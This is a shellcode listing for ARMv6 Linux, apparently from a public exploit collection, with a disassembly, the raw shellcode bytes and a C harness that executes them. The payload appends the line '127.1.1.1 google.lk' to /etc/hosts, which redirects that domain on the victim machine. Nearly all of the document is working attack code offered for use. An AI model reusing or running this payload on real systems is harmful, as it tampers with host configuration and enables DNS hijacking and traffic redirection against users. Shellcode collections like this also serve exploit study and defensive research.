/* # Title: Add map in /etc/hosts file - 79 bytes # Date: 2015-03-02 # Architecture: armv6l GNU/Linux # Website: http://osandamalith.wordpress.com # E-Mail: osanda[cat]unseen.is # Author: Osanda Malith Jayathissa (@OsandaMalith) hosts: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 1b24 subs r4, r4, r4 805e: 1c22 adds r2, r4, #0 8060: 21ff movs r1, #255 ; 0xff 8062: 31ff adds r1, #255 ; 0xff 8064: 31ff adds r1, #255 ; 0xff 8066: 31ff adds r1, #255 ; 0xff 8068: 3105 adds r1, #5 806a: 4678 mov r0, pc 806c: 302a adds r0, #42 ; 0x2a 806e: 2705 movs r7, #5 8070: df01 svc 1 8072: 2214 movs r2, #20 8074: 4679 mov r1, pc 8076: 310c adds r1, #12 8078: 2704 movs r7, #4 807a: df01 svc 1 807c: 1b24 subs r4, r4, r4 807e: 1c20 adds r0, r4, #0 8080: 2701 movs r7, #1 8082: df01 svc 1 8084: 2e373231 mrccs 2, 1, r3, cr7, cr1, {1} 8088: 2e312e31 mrccs 14, 1, r2, cr1, cr1, {1} 808c: 6f672031 svcvs 0x00672031 8090: 656c676f strbvs r6, [ip, #-1903]! ; 0x76f 8094: 0a6b6c2e beq 1ae3154 <__bss_end__+0x1ad30b0> 8098: 6374652f cmnvs r4, #197132288 ; 0xbc00000 809c: 6f682f2f svcvs 0x00682f2f 80a0: 00737473 rsbseq r7, r3, r3, ror r4 */ #include <stdio.h> #include <string.h> char *shellcode = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x24\x1b" "\x22\x1c" "\xff\x21" "\xff\x31" "\xff\x31" "\xff\x31" "\x05\x31" "\x78\x46" "\x2a\x30" "\x05\x27" "\x01\xdf" "\x14\x22" // movs r2, $0x14 ; length "\x79\x46" "\x0c\x31" "\x04\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x31\x32\x37\x2e" // 127. "\x31\x2e\x31\x2e" // 1.1. "\x31\x20\x67\x6f" // 1 go "\x6f\x67\x6c\x65" // ogle "\x2e\x6c\x6b\x0a" // .lk "\x2f\x65\x74\x63" "\x2f\x2f\x68\x6f" "\x73\x74\x73"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }